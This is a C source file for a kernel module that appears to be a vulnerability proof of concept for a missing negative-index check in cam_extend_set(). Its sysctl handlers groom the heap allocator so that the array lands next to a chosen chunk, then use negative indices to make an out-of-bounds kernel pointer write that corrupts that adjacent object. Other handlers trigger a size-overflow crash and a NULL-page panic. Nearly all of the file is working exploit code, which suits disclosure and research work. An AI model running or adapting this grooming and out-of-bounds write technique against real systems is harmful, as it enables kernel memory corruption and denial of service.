DF-5662 / oob5662.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 | /* * oob5662.ko -- prove cam_extend_set()'s missing lower-bound index * validation (sys/bus/cam/cam_extend.c:54-78) against the live, * unmodified kernel: * * cam_extend_set() checks ONLY `index >= ea->nelem` (line 56). * For ANY negative index it falls through to: * if (ea->ps[index]) ... line 70 OOB READ * ea->ps[index] = value; line 75 OOB WRITE * * - on a grown array (nelem > 0) that is a fully controlled * kernel-pointer write at ps + 8*index (any negative offset), * landing in whatever object precedes the ps[] allocation. * - on a fresh array (cam_extend_new -> M_ZERO -> ps == NULL, * nelem == 0) that is a read/write at 0xfffffffffffffff8+.. * -> noncanonical -> fatal kernel trap. * * Contrast: cam_extend_get() (line 84) DOES validate `index < 0`. * * Knobs (sysctl): * debug.oob5662demo run the non-fatal demo (readback + neighbor * cross-object corruption proof) * debug.oob5662ovf growth-size signed overflow * (index = 0x7ffffffb -> index+EXTEND_CHUNK * wraps negative -> kmalloc(huge) -> NULL -> * M_ZERO macro memsets NULL -> kernel trap) * debug.oob5662nullcrash fresh-array negative index -> NULL-page * fault (FATAL: panics the guest) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/types.h> #include <bus/cam/cam_extend.h> /* * Mirror of struct extend_array (sys/bus/cam/cam_extend.c:33-37). * Read-only use: observing nelem/ps of objects created by the real * cam_extend_new()/cam_extend_set() in this exact kernel build. */ struct ea_mirror { int nelem; void **ps; }; #define MARKER ((void *)0xcafe5662cafe5662UL) static int oob_demo(SYSCTL_HANDLER_ARGS); static int oob_ovf(SYSCTL_HANDLER_ARGS); static int oob_nullcrash(SYSCTL_HANDLER_ARGS); SYSCTL_PROC(_debug, OID_AUTO, oob5662demo, CTLTYPE_INT | CTLFLAG_RW, 0, 0, oob_demo, "I", "run non-fatal negative-index demo"); SYSCTL_PROC(_debug, OID_AUTO, oob5662ovf, CTLTYPE_INT | CTLFLAG_RW, 0, 0, oob_ovf, "I", "growth-size overflow probe (may panic)"); SYSCTL_PROC(_debug, OID_AUTO, oob5662nullcrash, CTLTYPE_INT | CTLFLAG_RW, 0, 0, oob_nullcrash, "I", "fresh-array negative index (PANICS)"); /* * Demonstrate the negative-index OOB read/write through the production * cam_extend_set(), including a groomed adjacent-chunk cross-object * write. Non-fatal. */ static int oob_demo(SYSCTL_HANDLER_ARGS) { struct extend_array *ea; struct ea_mirror *m; void *groom[8]; void *before, *after, *neighbor; int i, writes = 0, refuses = 0, adj_ok = 0; int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 0) return (0); kprintf("[OOB5662] demo: cam_extend_set negative-index OOB\n"); /* * Groom: 8 zeroed 64B M_DEVBUF chunks; free c7 then c6 so the * zone LIFO free-list hands out c6 first (neighbor) and c7 * second (ps[] from cam_extend_set's first growth), physically * adjacent, both zeroed by us. */ for (i = 0; i < 8; i++) { groom[i] = kmalloc(64, M_DEVBUF, M_INTWAIT); memset(groom[i], 0, 64); } kfree(groom[7], M_DEVBUF); kfree(groom[6], M_DEVBUF); neighbor = kmalloc(64, M_DEVBUF, M_INTWAIT); memset(neighbor, 0, 64); ea = cam_extend_new(); m = (struct ea_mirror *)ea; /* first growth: kmalloc(8*8=64) -> ps lands on the freed c7 */ cam_extend_set(ea, 0, (void *)0x1111111100000000UL); kprintf("[OOB5662] after set(0): nelem=%d ps=%p neighbor=%p " "(adjacent=%d)\n", m->nelem, m->ps, neighbor, (char *)m->ps == (char *)neighbor + 64); /* * Negative-index accesses through the production setter. * ps[-1] aliases neighbor[7] when adjacent; either way the * read/write through ea->ps[index] is out of bounds of the * ps[] allocation itself. */ for (i = -1; i >= -4; i--) { before = m->ps[i]; cam_extend_set(ea, i, MARKER); after = m->ps[i]; if (after == MARKER) { writes++; kprintf("[OOB5662] index=%d: OOB WRITE confirmed: " "ps[%d] = %p (was %p)\n", i, i, after, before); } else { refuses++; kprintf("[OOB5662] index=%d: setter took the " "\"already has storage\" path -- its own OOB " "READ returned %p\n", i, before); } } /* cross-object corruption of the adjacent chunk via ps[-1] */ if ((char *)m->ps == (char *)neighbor + 64 && ((void **)neighbor)[7] == MARKER) { adj_ok = 1; kprintf("[OOB5662] CROSS-OBJECT WRITE: neighbor chunk's " "last qword now %p via cam_extend_set(ea,-1,...)\n", ((void **)neighbor)[7]); } /* release-path delegation is safe (get validates index<0) */ cam_extend_release(ea, -1); kprintf("[OOB5662] release(ea,-1): no-op (delegates to get)\n"); kprintf("[OOB5662] demo done: oob_writes=%d oob_read_refuses=%d " "cross_object=%d\n", writes, refuses, adj_ok); return (0); } /* * Growth-size signed overflow: index = 0x7ffffffb makes * index + EXTEND_CHUNK wrap to a negative int (0x80000003), which the * kmalloc size math widens to ~2^64. Predicted: kmem_slab_alloc fails * -> kmalloc returns NULL -> cam_extend_set never checks -> bcopy/memset * or ea->ps[index] touches NULL/near-NULL -> fatal trap. */ static int oob_ovf(SYSCTL_HANDLER_ARGS) { struct extend_array *ea; int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 0) return (0); kprintf("[OOB5662] ovf: set(index=0x7ffffffb) -- " "index+EXTEND_CHUNK overflows int, kmalloc size ~2^64\n"); ea = cam_extend_new(); kprintf("[OOB5662] ovf: calling cam_extend_set...\n"); cam_extend_set(ea, 0x7ffffffb, MARKER); kprintf("[OOB5662] ovf: returned without trapping (unexpected)\n"); return (0); } /* * Fresh array: ps == NULL (cam_extend_new uses M_ZERO), nelem == 0, so * `index >= ea->nelem` is FALSE for any negative index and the setter * dereferences NULL + 8*index. Noncanonical -> fatal trap. PANICS. */ static int oob_nullcrash(SYSCTL_HANDLER_ARGS) { struct extend_array *ea; int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 0) return (0); kprintf("[OOB5662] nullcrash: fresh array, set(index=-5) -> " "read at ps-40 = 0xffffffffffffffd8\n"); ea = cam_extend_new(); cam_extend_set(ea, -5, MARKER); kprintf("[OOB5662] nullcrash: returned without trapping " "(unexpected)\n"); return (0); } static int oob5662_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("[OOB5662] loaded (cam_extend_set OOB harness)\n"); return (0); case MOD_UNLOAD: kprintf("[OOB5662] unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t oob5662_mod = { "oob5662", oob5662_modevent, 0 }; DECLARE_MODULE(oob5662, oob5662_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |